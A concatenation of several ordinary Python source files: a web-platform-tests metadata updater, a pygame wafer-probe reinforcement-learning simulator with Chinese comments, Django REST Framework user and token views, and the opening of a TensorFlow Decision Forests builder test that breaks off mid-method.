# If stability and any repeated values don't match, disable the test
# else mark the test as needing human attention
# Check if all the RHS values are the same; if so collapse the conditionals
class InternedData(object):
"""Class for interning data of any (hashable) type.
This class is intended for building a mapping of int <=> value, such
that the integer may be stored as a proxy for the real value, and then
the real value obtained later from the proxy value.
In order to support the use case of packing the integer value as binary,
it is possible to specify a maximum bitsize of the data; adding more items
than this allowed will result in a ValueError exception.
The zero value is reserved to use as a sentinal."""
type_conv = None
rev_type_conv = None
def __init__(self, max_bits=8):
self.max_idx = 2**max_bits - 2
# Reserve 0 as a sentinal
self._data = [None], {}
def store(self, obj):
if self.type_conv is not None:
obj = self.type_conv(obj)
objs, obj_to_idx = self._data
if obj not in obj_to_idx:
value = len(objs)
objs.append(obj)
obj_to_idx[obj] = value
if value > self.max_idx:
raise ValueError
else:
value = obj_to_idx[obj]
return value
def get(self, idx):
obj = self._data[0][idx]
if self.rev_type_conv is not None:
obj = self.rev_type_conv(obj)
return obj
class RunInfoInterned(InternedData):
def type_conv(self, value):
return tuple(value.items())
def rev_type_conv(self, value):
return dict(value)
prop_intern = InternedData(4)
run_info_intern = RunInfoInterned()
status_intern = InternedData(4)
def load_test_data(test_paths):
manifest_loader = testloader.ManifestLoader(test_paths, False)
manifests = manifest_loader.load()
id_test_map = {}
for test_manifest, paths in manifests.iteritems():
id_test_map.update(create_test_tree(paths["metadata_path"],
test_manifest))
return id_test_map
def update_from_logs(id_test_map, *log_filenames, **kwargs):
ignore_existing = kwargs.get("ignore_existing", False)
property_order = kwargs.get("property_order")
boolean_properties = kwargs.get("boolean_properties")
stability = kwargs.get("stability")
updater = ExpectedUpdater(id_test_map,
ignore_existing=ignore_existing)
for i, log_filename in enumerate(log_filenames):
print("Processing log %d/%d" % (i + 1, len(log_filenames)))
with open(log_filename) as f:
updater.update_from_log(f)
for item in update_results(id_test_map, property_order, boolean_properties, stability):
yield item
def update_results(id_test_map, property_order, boolean_properties, stability):
test_file_items = set(id_test_map.itervalues())
default_expected_by_type = {}
for test_type, test_cls in wpttest.manifest_test_cls.iteritems():
if test_cls.result_cls:
default_expected_by_type[(test_type, False)] = test_cls.result_cls.default_expected
if test_cls.subtest_result_cls:
default_expected_by_type[(test_type, True)] = test_cls.subtest_result_cls.default_expected
for test_file in test_file_items:
updated_expected = test_file.update(property_order, boolean_properties, stability,
default_expected_by_type)
if updated_expected is not None and updated_expected.modified:
yield test_file.metadata_path, updated_expected
def directory_manifests(metadata_path):
rv = []
for dirpath, dirname, filenames in os.walk(metadata_path):
if "__dir__.ini" in filenames:
rel_path = os.path.relpath(dirpath, metadata_path)
rv.append(os.path.join(rel_path, "__dir__.ini"))
return rv
def write_changes(metadata_path, expected):
# First write the new manifest files to a temporary directory
temp_path = tempfile.mkdtemp(dir=os.path.split(metadata_path)[0])
write_new_expected(temp_path, expected)
# Copy all files in the root to the temporary location since
# these cannot be ini files
keep_files = [item for item in os.listdir(metadata_path) if
not os.path.isdir(os.path.join(metadata_path, item))]
for item in keep_files:
dest_dir = os.path.dirname(os.path.join(temp_path, item))
if not os.path.exists(dest_dir):
os.makedirs(dest_dir)
shutil.copyfile(os.path.join(metadata_path, item),
os.path.join(temp_path, item))
# Then move the old manifest files to a new location
temp_path_2 = metadata_path + str(uuid.uuid4())
os.rename(metadata_path, temp_path_2)
# Move the new files to the destination location and remove the old files
os.rename(temp_path, metadata_path)
shutil.rmtree(temp_path_2)
def write_new_expected(metadata_path, expected):
# Serialize the data back to a file
path = expected_path(metadata_path, expected.test_path)
if not expected.is_empty:
manifest_str = wptmanifest.serialize(expected.node, skip_empty_data=True)
assert manifest_str != ""
dir = os.path.split(path)[0]
if not os.path.exists(dir):
os.makedirs(dir)
tmp_path = path + ".tmp"
try:
with open(tmp_path, "wb") as f:
f.write(manifest_str)
os.rename(tmp_path, path)
except (Exception, KeyboardInterrupt):
try:
os.unlink(tmp_path)
except OSError:
pass
else:
try:
os.unlink(path)
except OSError:
pass
class ExpectedUpdater(object):
def __init__(self, id_test_map, ignore_existing=False):
self.id_test_map = id_test_map
self.ignore_existing = ignore_existing
self.run_info = None
self.action_map = {"suite_start": self.suite_start,
"test_start": self.test_start,
"test_status": self.test_status,
"test_end": self.test_end,
"assertion_count": self.assertion_count,
"lsan_leak": self.lsan_leak,
"mozleak_object": self.mozleak_object,
"mozleak_total": self.mozleak_total}
self.tests_visited = {}
def update_from_log(self, log_file):
self.run_info = None
try:
data = json.load(log_file)
except Exception:
pass
else:
if "action" not in data and "results" in data:
self.update_from_wptreport_log(data)
return
log_file.seek(0)
self.update_from_raw_log(log_file)
def update_from_raw_log(self, log_file):
action_map = self.action_map
for line in log_file:
try:
data = json.loads(line)
except ValueError:
# Just skip lines that aren't json
continue
action = data["action"]
if action in action_map:
action_map[action](data)
def update_from_wptreport_log(self, data):
action_map = self.action_map
action_map["suite_start"]({"run_info": data["run_info"]})
for test in data["results"]:
action_map["test_start"]({"test": test["test"]})
for subtest in test["subtests"]:
action_map["test_status"]({"test": test["test"],
"subtest": subtest["name"],
"status": subtest["status"],
"expected": subtest.get("expected")})
action_map["test_end"]({"test": test["test"],
"status": test["status"],
"expected": test.get("expected")})
if "asserts" in test:
asserts = test["asserts"]
action_map["assertion_count"]({"test": test["test"],
"count": asserts["count"],
"min_expected": asserts["min"],
"max_expected": asserts["max"]})
for item in data.get("lsan_leaks", []):
action_map["lsan_leak"](item)
mozleak_data = data.get("mozleak", {})
for scope, scope_data in mozleak_data.iteritems():
for key, action in [("objects", "mozleak_object"),
("total", "mozleak_total")]:
for item in scope_data.get(key, []):
item_data = {"scope": scope}
item_data.update(item)
action_map[action](item_data)
def suite_start(self, data):
self.run_info = run_info_intern.store(data["run_info"])
def test_start(self, data):
test_id = intern(data["test"].encode("utf8"))
try:
test_data = self.id_test_map[test_id]
except KeyError:
print("Test not found %s, skipping" % test_id)
return
if self.ignore_existing:
test_data.set_requires_update()
test_data.clear.add("expected")
self.tests_visited[test_id] = set()
def test_status(self, data):
test_id = intern(data["test"].encode("utf8"))
subtest = intern(data["subtest"].encode("utf8"))
test_data = self.id_test_map.get(test_id)
if test_data is None:
return
self.tests_visited[test_id].add(subtest)
result = status_intern.store(data["status"])
test_data.set(test_id, subtest, "status", self.run_info, result)
if data.get("expected") and data["expected"] != data["status"]:
test_data.set_requires_update()
def test_end(self, data):
if data["status"] == "SKIP":
return
test_id = intern(data["test"].encode("utf8"))
test_data = self.id_test_map.get(test_id)
if test_data is None:
return
result = status_intern.store(data["status"])
test_data.set(test_id, None, "status", self.run_info, result)
if data.get("expected") and data["status"] != data["expected"]:
test_data.set_requires_update()
del self.tests_visited[test_id]
def assertion_count(self, data):
test_id = intern(data["test"].encode("utf8"))
test_data = self.id_test_map.get(test_id)
if test_data is None:
return
test_data.set(test_id, None, "asserts", self.run_info, data["count"])
if data["count"] < data["min_expected"] or data["count"] > data["max_expected"]:
test_data.set_requires_update()
def test_for_scope(self, data):
dir_path = data.get("scope", "/")
dir_id = intern(os.path.join(dir_path, "__dir__").replace(os.path.sep, "/").encode("utf8"))
if dir_id.startswith("/"):
dir_id = dir_id[1:]
return dir_id, self.id_test_map[dir_id]
def lsan_leak(self, data):
dir_id, test_data = self.test_for_scope(data)
test_data.set(dir_id, None, "lsan",
self.run_info, (data["frames"], data.get("allowed_match")))
if not data.get("allowed_match"):
test_data.set_requires_update()
def mozleak_object(self, data):
dir_id, test_data = self.test_for_scope(data)
test_data.set(dir_id, None, "leak-object",
self.run_info, ("%s:%s", (data["process"], data["name"]),
data.get("allowed")))
if not data.get("allowed"):
test_data.set_requires_update()
def mozleak_total(self, data):
if data["bytes"]:
dir_id, test_data = self.test_for_scope(data)
test_data.set(dir_id, None, "leak-threshold",
self.run_info, (data["process"], data["bytes"], data["threshold"]))
if data["bytes"] > data["threshold"] or data["bytes"] < 0:
test_data.set_requires_update()
def create_test_tree(metadata_path, test_manifest):
"""Create a map of test_id to TestFileData for that test.
"""
do_delayed_imports()
id_test_map = {}
exclude_types = frozenset(["stub", "helper", "manual", "support", "conformancechecker", "reftest_base"])
all_types = manifestitem.item_types.keys()
include_types = set(all_types) - exclude_types
for item_type, test_path, tests in test_manifest.itertypes(*include_types):
test_file_data = TestFileData(intern(test_manifest.url_base.encode("utf8")),
intern(item_type.encode("utf8")),
metadata_path,
test_path,
tests)
for test in tests:
id_test_map[intern(test.id.encode("utf8"))] = test_file_data
dir_path = os.path.split(test_path)[0].replace(os.path.sep, "/")
while True:
if dir_path:
dir_id = dir_path + "/__dir__"
else:
dir_id = "__dir__"
dir_id = intern((test_manifest.url_base + dir_id).lstrip("/").encode("utf8"))
if dir_id not in id_test_map:
test_file_data = TestFileData(intern(test_manifest.url_base.encode("utf8")),
None,
metadata_path,
dir_id,
[])
id_test_map[dir_id] = test_file_data
if not dir_path or dir_path in id_test_map:
break
dir_path = dir_path.rsplit("/", 1)[0] if "/" in dir_path else ""
return id_test_map
class PackedResultList(object):
"""Class for storing test results.
Results are stored as an array of 2-byte integers for compactness.
The first 4 bits represent the property name, the second 4 bits
represent the test status (if it's a result with a status code), and
the final 8 bits represent the run_info. If the result doesn't have a
simple status code but instead a richer type, we place that richer type
in a dictionary and set the status part of the result type to 0.
This class depends on the global prop_intern, run_info_intern and
status_intern InteredData objects to convert between the bit values
and corresponding Python objects."""
def __init__(self):
self.data = array.array("H")
__slots__ = ("data", "raw_data")
def append(self, prop, run_info, value):
out_val = (prop << 12) + run_info
if prop == prop_intern.store("status"):
out_val += value << 8
else:
if not hasattr(self, "raw_data"):
self.raw_data = {}
self.raw_data[len(self.data)] = value
self.data.append(out_val)
def unpack(self, idx, packed):
prop = prop_intern.get((packed & 0xF000) >> 12)
value_idx = (packed & 0x0F00) >> 8
if value_idx == 0:
value = self.raw_data[idx]
else:
value = status_intern.get(value_idx)
run_info = run_info_intern.get(packed & 0x00FF)
return prop, run_info, value
def __iter__(self):
for i, item in enumerate(self.data):
yield self.unpack(i, item)
class TestFileData(object):
__slots__ = ("url_base", "item_type", "test_path", "metadata_path", "tests",
"_requires_update", "clear", "data")
def __init__(self, url_base, item_type, metadata_path, test_path, tests):
self.url_base = url_base
self.item_type = item_type
self.test_path = test_path
self.metadata_path = metadata_path
self.tests = {intern(item.id.encode("utf8")) for item in tests}
self._requires_update = False
self.clear = set()
self.data = defaultdict(lambda: defaultdict(PackedResultList))
def set_requires_update(self):
self._requires_update = True
def set(self, test_id, subtest_id, prop, run_info, value):
self.data[test_id][subtest_id].append(prop_intern.store(prop),
run_info,
value)
def expected(self, property_order, boolean_properties):
expected_data = load_expected(self.url_base,
self.metadata_path,
self.test_path,
self.tests,
property_order,
boolean_properties)
if expected_data is None:
expected_data = create_expected(self.url_base,
self.test_path,
property_order,
boolean_properties)
return expected_data
def update(self, property_order, boolean_properties, stability,
default_expected_by_type):
if not self._requires_update:
return
expected = self.expected(property_order, boolean_properties)
expected_by_test = {}
for test_id in self.tests:
if not expected.has_test(test_id):
expected.append(manifestupdate.TestNode.create(test_id))
test_expected = expected.get_test(test_id)
expected_by_test[test_id] = test_expected
for prop in self.clear:
test_expected.clear(prop)
for test_id, test_data in self.data.iteritems():
for subtest_id, results_list in test_data.iteritems():
for prop, run_info, value in results_list:
# Special case directory metadata
if subtest_id is None and test_id.endswith("__dir__"):
if prop == "lsan":
expected.set_lsan(run_info, value)
elif prop == "leak-object":
expected.set_leak_object(run_info, value)
elif prop == "leak-threshold":
expected.set_leak_threshold(run_info, value)
continue
if prop == "status":
value = Result(value, default_expected_by_type[self.item_type,
subtest_id is not None])
test_expected = expected_by_test[test_id]
if subtest_id is None:
item_expected = test_expected
else:
item_expected = test_expected.get_subtest(subtest_id)
if prop == "status":
item_expected.set_result(run_info, value)
elif prop == "asserts":
item_expected.set_asserts(run_info, value)
expected.coalesce_properties(stability=stability)
for test in expected.iterchildren():
for subtest in test.iterchildren():
subtest.coalesce_properties(stability=stability)
test.coalesce_properties(stability=stability)
return expected
Result = namedtuple("Result", ["status", "default_expected"])
def create_expected(url_base, test_path, property_order=None,
boolean_properties=None):
expected = manifestupdate.ExpectedManifest(None,
test_path,
url_base,
property_order=property_order,
boolean_properties=boolean_properties)
return expected
def load_expected(url_base, metadata_path, test_path, tests, property_order=None,
boolean_properties=None):
expected_manifest = manifestupdate.get_manifest(metadata_path,
test_path,
url_base,
property_order=property_order,
boolean_properties=boolean_properties)
if expected_manifest is None:
return
# Remove expected data for tests that no longer exist
for test in expected_manifest.iterchildren():
if test.id not in tests:
test.remove()
return expected_manifest
|
py | 1a4ce4464b81a614d4df3fc5b6e273ba9fa958ac | # NEW COLORS 108.04.24
# output=gray colors
import numpy as np
import pygame
import time
# Define some colors
COLORS = 3 # 測試次數上限
# 模擬器上顏色設定
BLACK = np.array((0, 0, 0))
WHITE = np.array((255, 255, 255))
BLUE = np.array((60, 150, 255))
PURPLE = np.array((153, 47, 185))
RED_PROBE = np.array((230, 90, 80))
YELLOW = np.array((235, 226, 80))
# 輸出圖顏色設定
BACKGROUND_COLORS = 255 # 背景
BUFFER_COLORS = 170 # 緩衝區
PROBE_COLORS = 220 # 探針
# 其他測試次數狀態
OTHER_COLORS = 129
NUM_COLORS = [] # ex: 測試上限3次 [129, 86, 43]
for num in range(COLORS):
NUM_COLORS.append(int(OTHER_COLORS * (1 - num / COLORS)))
# This sets the WIDTH and HEIGHT of each grid location
WIDTH = 1 # 實際環境圖,一像素代表一晶粒
HEIGHT = 1 # 實際環境圖
WIDTH_sc = 20 # 模擬器顯示畫面
HEIGHT_sc = 20 # 模擬器顯示畫面
# This sets the margin between each cell
MARGIN = 0 # 實際環境圖
MARGIN_sc = 2 # 模擬器顯示畫面
# Probe's location when the environment initialize
Initial = [(2, 2), (14, 14), (2, 14), (14, 2), (11, 5), (5, 11), (11, 11), (5, 5), (8, 8)]
PACE = 1 # 移動步伐
class wafer_check():
def __init__(self,wafer,probe,mode=0,training_time=60,training_steps=0):
self._envs = np.array(wafer) # 晶圓由 -1, 0表示(-1代表緩衝區, 0代表待測試晶粒）
self._envs_nan = np.zeros(self._envs.shape) # 晶圓由 nan, 0 表示(nan代表緩衝區, 0代表待測試晶粒）
self._probe = np.array(probe, np.int) # 探針卡由 0,1表示
self.envsY, self.envsX = self._envs.shape # 晶圓長寬
self.wafer_len = self.envsY * self.envsX # 晶粒總數
self.probY, self.probX = self._probe.shape # 探針長寬
self.probZ = max(self.probY, self.probX) # 探針最長邊
self.envs_list = [(b,a) for b in range(self.envsY) for a in range(self.envsX) if self._envs[b,a] == -1] # 緩衝區位置
self.envs_len = len(self.envs_list) # 緩衝區數量
self.probe_list = [(b,a) for b in range(self.probY) for a in range(self.probX) if self._probe[b,a] == 1] # 探針形狀
self.probe_len = len(self.probe_list) # 探針數量
self.size = [(self.envsX*WIDTH+(self.envsX+1)*MARGIN),
(self.envsY*HEIGHT+(self.envsY+1)*MARGIN)] # 實際環境圖尺寸
self.size_sc = [(self.envsX*WIDTH_sc+(self.envsX+1)*MARGIN_sc),
(self.envsY*HEIGHT_sc+(self.envsY+1)*MARGIN_sc)] # 模擬器顯示畫面尺寸
self._output = np.full((self.size[1],self.size[0]), BACKGROUND_COLORS, np.int) # 初始化輸出圖
self.location = np.array(Initial) # 初始位置
self.action_space = ['None','Down','Right','Up','Left','Down-Right','Up-Right','Up-Left','Down-Left']
self.action_space_num = int((len(self.action_space) - 1) * PACE) # 行為總數(為8個方向 * 移動步伐）
self.available = np.zeros(self.action_space_num, dtype=np.float32) # 表示可移動行為之向量
self.num_max = COLORS
self.reward_value = 0 # 獎勵
self.envs_mean = None # 所有晶粒被測試過次數平均
self.envs_std = None # 所有晶粒被測試過次數標準差
self.mode = mode # 是否顯示模擬畫面(是 = 1 ,否= 0)
# 限制一回合最長可訓練時間(若設小於0則訓練時間為無限制）
if training_time > 0:
self.training_time = training_time
else:
self.training_time = np.inf
# 限制一回合最多可移動步數(若設小於0則移動步數為無限制）
if training_steps > 0:
self.training_steps = training_steps
else:
self.training_steps = np.inf
# 是否顯示模擬畫面(是 = 1 ,否= 0)
if self.mode == 1:
self.sc = pygame.display.set_mode(self.size_sc)
# 初始化輸出圖
self.reset_observation()
# 初始化環境
self.reset()
# 計算方形尺寸
@staticmethod
def rect(column, row):
rect = [(MARGIN_sc + WIDTH_sc) * column + MARGIN_sc,
(MARGIN_sc + HEIGHT_sc) * row + MARGIN_sc,
WIDTH_sc,
HEIGHT_sc]
return rect
# 於圖output上填顏色
@staticmethod
def draw_plt(output, y, x, color): # X : column, Y : row
for h in range(HEIGHT):
for w in range(WIDTH):
output_h = y * HEIGHT + h
output_w = x * WIDTH + w
output[output_h][output_w] = color
def reset(self):
#reset the environment
self.y, self.x = self.location[np.random.randint(len(self.location))] # 隨機取一個初始位置為y, x
self.y_last, self.x_last = self.y, self.x
self.steps = 0 # 移動步署
self.dist = 0 # 移動距離
self.num_color = np.zeros(self.num_max+2, np.int) # 表示各個晶粒狀態的個數[未測試過, 已測試1次, 已測試2次, 已測試3次以上, 緩衝區]
self.action = 'None'
self.reward_value = 0
self.envs = np.copy(self._envs_nan) # 重新拷貝初始晶圓狀態
self.output = np.copy(self._output) # 重新拷貝初始輸出圖
if self.mode == 1: # 若有模擬畫面，畫面也須初始化
self.reset_envs()
# 將初始探針位置的晶圓狀態改為測試一次
for b in range(self.probY):
for a in range(self.probX):
if self._probe[b][a] == 1 and not np.isnan(self.envs[self.y+b][self.x+a]):
self.envs[self.y+b][self.x+a] = 1
self.num_color_last = np.zeros(self.num_max+2, np.int) # 表示前一次移動之各個晶粒狀態的個數
self.num_color_last[-1] = self.envs_len # 緩衝區個數
self.num_color_last[0] = (self._envs == 0).sum() # 未測試過數
self.time_end = time.time() + self.training_time # 有時間限制，最終訓練時刻
self.step()
return self.output, self.available
def step(self, action=None):
#Agent's action
now = time.time()
if action != None:
act = ((action) % 8) # 動作選擇(0~7)
pace = int((action) / 8) + 1 # 動作移動步伐
self.done = 0 # 測試終止為1
self.envs_mean = None
self.envs_std = None
self.time_is_end = 0 # 時間限制，測試終止
self.steps_is_end = 0 # 總步數限制，測試終止
self.episode_is_end = 0 # 所有晶粒皆已測試完成，測試終止
self.reward_value = 0
if now < self.time_end and self.steps < self.training_steps:
y = self.y
x = self.x
y_diff = self.envsY-self.probY # 探針座標於 y 方向最低位置
x_diff = self.envsX-self.probX # 探針座標於 x 方向最低位置
print(y_diff, x_diff)
probe_list = self.probe_list
invalid = 0
self.steps += 1 # 移動步數累計加1
# move the probe
if action == None: # 若為Ｎone則移動步數修正，減1
invalid = -1
self.steps -= 1
self.action = 'None'
elif pace > self.probZ: # 若步伐大於探針尺寸，視為無效行動
invalid = -1
self.steps -= 1
self.action = 'None'
elif act == 0:
if (y+pace-1) < y_diff:
y += pace
invalid = 0
self.action = 'Down'
else:
invalid = 1
elif act == 1:
if (x+pace-1) < x_diff:
x += pace
invalid = 0
self.action = 'Right'
else:
invalid = 1
elif act == 2:
if (y-pace+1) > 0:
y -= pace
invalid = 0
self.action = 'Up'
else:
invalid = 1
elif act == 3:
if (x - pace+1) > 0:
x -= pace
invalid = 0
self.action = 'Left'
else:
invalid = 1
elif act == 4:
if (y+pace-1) < y_diff and (x+pace-1) < x_diff:
y += pace
x += pace
invalid = 0
self.action = 'Down-Right'
else:
invalid = 1
elif act == 5:
if (y-pace+1) > 0 and (x+pace-1) < x_diff:
y-=pace
x+=pace
invalid = 0
self.action = 'Up-Right'
else:
invalid = 1
elif act == 6:
if (y-pace+1) > 0 and (x-pace+1) > 0:
y-=pace
x-=pace
invalid = 0
self.action = 'Up-Left'
else:
invalid = 1
elif act == 7:
if (y+pace-1) < y_diff and (x-pace+1) > 0:
y+=pace
x-=pace
invalid = 0
self.action = 'Down-Left'
else:
invalid = 1
else:
invalid = -1
self.action = 'None'
# 無效動作
if invalid == 1:
self.action = 'Invalid'
# 有效動作
elif invalid == 0:
# 更新探針座標位置
self.y = y
self.x = x
# 探針位置的晶圓測試狀態累加一次
for c in range(len(probe_list)):
self.envs[y+probe_list[c][0]][x+probe_list[c][1]] += 1
elif now >= self.time_end:
self.time_is_end = 1
if self.steps >= self.training_steps:
self.steps_is_end = 1
self.check() # 統計晶粒狀態並計算獎勵
self.observation()
self.action_available()
if self.mode == 1:
self.build_envs()
time.sleep(0.01)
self.y_last = self.y
self.x_last = self.x
if self.steps_is_end == 1:
self.steps = 0
if self.time_is_end == 1:
self.steps = 0
self.time_end = time.time() + self.training_time
return self.output, self.reward_value, self.done, self.available, self.envs_mean, self.envs_std
def check(self):
# 表示各個晶粒狀態的個數num_color[5] = [未測試過, 已測試1次, 已測試2次, 已測試3次以上, 緩衝區]
self.num_color[-1] = self.envs_len # 緩衝區數
for n in range(0, self.num_max):
self.num_color[n] = (self.envs == n).sum()
self.num_color[-2] = self.wafer_len - sum(self.num_color) + self.num_color[-2] # 已測試num_max次以上
self.dist = np.sqrt(np.square(self.y - self.y_last)+np.square(self.x - self.x_last)) # 計算探針移動距離
#calculate the reward
if self.action != "None":
#1st reward
if self.num_color_last[0] - self.num_color[0] > 0:
self.reward_value+=((self.num_color_last[0] - self.num_color[0])*0.01)
if self.num_color_last[0] - self.num_color[0] == self.probe_len:
self.reward_value+=((self.num_color_last[0] - self.num_color[0])*0.01)
#2nd reward
for num in range(2,self.num_max+1):
if self.num_color[num] - self.num_color_last[num] > 0:
self.reward_value-=(((self.num_color[num] - self.num_color_last[num])*num)*0.003)
#3rd reward
if np.array_equal(self.num_color,self.num_color_last):
self.reward_value-=0.1
#4th reward
self.reward_value-=self.dist*0.01
# 若測試終止
if self.num_color[0] == 0 or self.time_is_end == 1 or self.steps_is_end == 1:
self.envs_mean = np.nanmean(self.envs) # 計算平均
self.envs_std = np.nanstd(self.envs) # 計算標準差
#Stop the screen when the episode is end.
if self.mode == 1:
self.build_envs() # 初始化模擬畫面
time.sleep(0.1)
#Initialize the environment
self.action = 'None'
self.done = 1 # 代表測試終止
self.y, self.x = self.location[np.random.randint(len(self.location))]
self.y_last, self.x_last = self.y, self.x
self.dist = 0
self.num_color = np.zeros(self.num_max+2,np.int)
self.envs = np.copy(self._envs_nan)
self.output = np.copy(self._output)
if self.mode == 1:
self.reset_envs()
# 將初始探針位置的晶圓狀態改為測試一次
for b in range(self.probY):
for a in range(self.probX):
if self._probe[b][a] == 1 and not np.isnan(self.envs[self.y + b][self.x + a]):
self.envs[self.y + b][self.x + a] = 1
self.envs_show = np.copy(self.envs)
self.num_color[-1] = self.envs_len
self.num_color[0] = (self.envs == 0).sum()
self.num_color[1] = (self.envs == 1).sum()
if self.time_is_end != 1 and self.steps_is_end != 1:
# 代表成功完成所有晶粒測試
self.episode_is_end = 1
self.steps = 0
#5th reward
self.reward_value += 1
self.num_color_last = np.copy(self.num_color)
def observation(self):
# 更新輸出圖
probe_list = self.probe_list
probe_len = self.probe_len
# 畫探針走過位置的晶粒狀態
for c in range(probe_len):
for num in range(1, self.num_max+1):
if self.envs[self.y_last+probe_list[c][0]][self.x_last+probe_list[c][1]] == num: # 測試過1~3次
color = NUM_COLORS[num-1]
if self.envs[self.y_last+probe_list[c][0]][self.x_last+probe_list[c][1]] > self.num_max: # 測試過3次以上
color = NUM_COLORS[self.num_max-1]
if np.isnan(self.envs[self.y_last+probe_list[c][0]][self.x_last+probe_list[c][1]]): # 緩衝區
color = BUFFER_COLORS
wafer_check.draw_plt(self.output, self.y_last + self.probe_list[c][0], self.x_last + self.probe_list[c][1], color)
# 畫探針當下位置
for c in range(probe_len):
color = PROBE_COLORS
wafer_check.draw_plt(self.output, self.y + self.probe_list[c][0], self.x + self.probe_list[c][1], color)
def build_envs(self):
# 更新模擬器顯示畫面
# 畫探針走過位置的晶粒狀態
for c in range(self.probe_len):
if self.envs[self.y_last + self.probe_list[c][0]][self.x_last + self.probe_list[c][1]] >= 1: # 走過一次以上
color = (WHITE / self.num_max).astype(np.int)
elif np.isnan(self.envs[self.y_last+self.probe_list[c][0]][self.x_last+self.probe_list[c][1]]): # 緩衝區
color = YELLOW
pygame.draw.rect(self.sc,
color,
wafer_check.rect((self.x_last + self.probe_list[c][1]),
(self.y_last + self.probe_list[c][0])))
# 畫探針當下位置
for c in range(self.probe_len):
color = RED_PROBE
if self.action == 'Invalid': # 若為無效動作，呈現紫色
color = PURPLE
pygame.draw.rect(self.sc,
color,
wafer_check.rect((self.x + self.probe_list[c][1]),
(self.y + self.probe_list[c][0])))
pygame.display.flip()
def reset_observation(self):
# 初始化輸出圖，繪製晶圓狀態
color = BUFFER_COLORS
for row in range(self.envsY):
for column in range(self.envsX):
if self._envs[row][column] == -1:
wafer_check.draw_plt(self._output, column, row, color)
self._envs_nan[row][column] = np.nan
def reset_envs(self):
# 初始化模擬器顯示畫面，繪製晶圓狀態
self.sc.fill(BLACK)
for row in range(self.envsY):
for column in range(self.envsX):
if self._envs[row][column] == -1:
pygame.draw.rect(self.sc, YELLOW, wafer_check.rect(row, column)) # 緩衝區
else:
pygame.draw.rect(self.sc, BLUE, wafer_check.rect(row, column)) # 未測試區
def action_available(self):
# evaluate actions that will go beyond the boundary & produce vector to filter
m = self.envsY
n = self.envsX
i = self.probY
j = self.probX
for k in range(self.action_space_num):
act = k % 8
step = k // 8 + 1
y = self.y
x = self.x
if act == 0:
if (y+step-1) < (m-i):
y+=step
else:
self.available[k] = np.inf
continue
elif act == 1:
if (x+step-1) < (n-j):
x+=step
else:
self.available[k] = np.inf
continue
elif act == 2:
if (y-step+1) > 0:
y-=step
else:
self.available[k] = np.inf
continue
elif act == 3:
if (x-step+1) > 0:
x-=step
else:
self.available[k] = np.inf
continue
elif act == 4:
if (y+step-1) < (m-i) and (x+step-1) < (n-j):
y+=step
x+=step
else:
self.available[k] = np.inf
continue
elif act == 5:
if (y-step+1) > 0 and (x+step-1) < (n-j):
y-=step
x+=step
else:
self.available[k] = np.inf
continue
elif act == 6:
if (y-step+1) > 0 and (x-step+1) > 0:
y-=step
x-=step
else:
self.available[k] = np.inf
continue
elif act == 7:
if (y+step-1) < (m-i) and (x-step+1) > 0:
y+=step
x-=step
else:
self.available[k] = np.inf
continue
self.available[k] = 0
if __name__ == '__main__':
import matplotlib.pyplot as plt
wafer = np.loadtxt('envs.txt')
probe = np.loadtxt('probe.txt')
envs = wafer_check(wafer, probe, mode=1, training_time=0, training_steps=1000)
pygame.init()
pygame.display.set_caption("Wafer Check Simulator")
# Loop until the user clicks the close button.
done = False
while not done:
for event in pygame.event.get(): # User did something
if event.type == pygame.QUIT: # If user clicked close
done = True
elif event.type == pygame.KEYDOWN:
if event.key == pygame.K_r: # 初始化環境
envs.reset()
if event.key == pygame.K_s:
envs.step(0)
if event.key == pygame.K_d:
envs.step(1)
if event.key == pygame.K_w:
envs.step(2)
if event.key == pygame.K_a:
envs.step(3)
if event.key == pygame.K_c:
envs.step(4)
if event.key == pygame.K_e:
envs.step(5)
if event.key == pygame.K_q:
envs.step(6)
if event.key == pygame.K_z:
envs.step(7)
if event.key == pygame.K_p: # 顯示輸出圖
plt.subplot(1, 2, 1), plt.title('rainbow')
plt.imshow(envs.output,cmap = 'rainbow')
plt.subplot(1, 2, 2), plt.title('gray')
plt.imshow(envs.output,cmap = 'gray')
plt.show()
pygame.quit()
|
py | 1a4ce62e9cc298e6a076d2e15d92f46fb4bc339c | from rest_framework import generics, authentication, permissions
from rest_framework.authtoken.views import ObtainAuthToken
from rest_framework.settings import api_settings
from user.serializers import UserSerializer, AuthTokenSerializer
class CreateUserView(generics.CreateAPIView):
"""
Create a new user in the system
"""
serializer_class = UserSerializer
class CreateTokenView(ObtainAuthToken):
"""
Create a new auth token for user
"""
serializer_class = AuthTokenSerializer
renderer_classes = api_settings.DEFAULT_RENDERER_CLASSES
class ManageUserView(generics.RetrieveUpdateAPIView):
"""
Manage the authenticated user
"""
serializer_class = UserSerializer
authentication_classes = (authentication.TokenAuthentication,)
permission_classes = (permissions.IsAuthenticated,)
def get_object(self):
"""
Retrieve and return authenticated user
"""
return self.request.user
|
py | 1a4ce6c252949388572691becc3ad2e9833f1af3 | # Copyright 2021 Google LLC.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import math
import os
from absl import flags
from absl import logging
from absl.testing import parameterized
import numpy as np
import pandas as pd
import tensorflow as tf
from tensorflow_decision_forests import keras
from tensorflow_decision_forests.component import py_tree
from tensorflow_decision_forests.component.builder import builder as builder_lib
from tensorflow_decision_forests.component.inspector import inspector as inspector_lib
Tree = py_tree.tree.Tree
NonLeafNode = py_tree.node.NonLeafNode
NumericalHigherThanCondition = py_tree.condition.NumericalHigherThanCondition
CategoricalIsInCondition = py_tree.condition.CategoricalIsInCondition
SimpleColumnSpec = py_tree.dataspec.SimpleColumnSpec
LeafNode = py_tree.node.LeafNode
ProbabilityValue = py_tree.value.ProbabilityValue
RegressionValue = py_tree.value.RegressionValue
# pylint: disable=g-long-lambda
def data_root_path() -> str:
return ""
def test_data_path() -> str:
return os.path.join(data_root_path(),
"external/ydf/yggdrasil_decision_forests/test_data")
def tmp_path() -> str:
return flags.FLAGS.test_tmpdir
def test_model_directory() -> str:
return os.path.join(test_data_path(), "model")
def test_dataset_directory() -> str:
return os.path.join(test_data_path(), "dataset")
class BuilderTest(parameterized.TestCase, tf.test.TestCase):
def test_classification_random_forest(self):
model_path = os.path.join(tmp_path(), "classification_rf")
